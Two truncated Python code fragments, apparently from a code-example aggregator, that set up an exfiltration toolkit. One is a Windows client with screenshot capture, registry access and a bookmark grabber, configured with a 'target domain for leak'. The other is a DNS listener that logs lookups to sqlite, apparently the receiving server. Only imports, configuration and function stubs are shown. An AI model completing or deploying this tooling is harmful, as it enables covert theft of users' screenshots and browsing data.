Esempio n. 1
0
import hashlib
import traceback
import sys
import urllib2
from urllib import urlencode
import fnmatch
import errno, win32com.client, _winreg
import ctypes
from win32api import GetSystemMetrics
from threading import Thread
import pythoncom
from PIL import ImageGrab
import requests
from common_func import translateMessage, rec_split, randomword, readconfig

config = readconfig()
#Global config
key = config["key"]
target = config["target"]  #target domain for leak <YOUR_DOMAIN>
url_end = config["url_end"]
url_screenshot_end = config["url_screenshot_end"]
subdomain = config["subdomain"]
target_ip = config["target_ip"]

#Local config
test_url = 'https://github.com/favicon.ico'
test_hash = '4eda7c0f3a36181f483dd0a14efe9f58c8b29814'


# get non-default bookmarks from IE
def get_bookmarks():
Esempio n. 2
0
#!/usr/bin/env python
import socket
import sqlite3
import sys
import traceback
import datetime
import atexit
import traceback
from sys import platform as _platform
from common_func import translateMessage, rec_split, randomword, readconfig

config = readconfig()
#Global config
key = config["key"]
target = config["target"]  #target domain for leak <YOUR_DOMAIN>
url_end = config["url_end"]
url_screenshot_end = config["url_screenshot_end"]
subdomain = config["subdomain"]

#Local config
listen_ip = '0.0.0.0'       #listen on all interfaces <YOUR_IP>
logfile = 'dns.txt'         #debug log
config_dbfile = 'dns.db'    #path to sqlite
ip='127.0.0.1'              #return this IP as response to lookup 

def exit_handler():
    print("Exiting")
    udps.close()
    if con:
        con.close()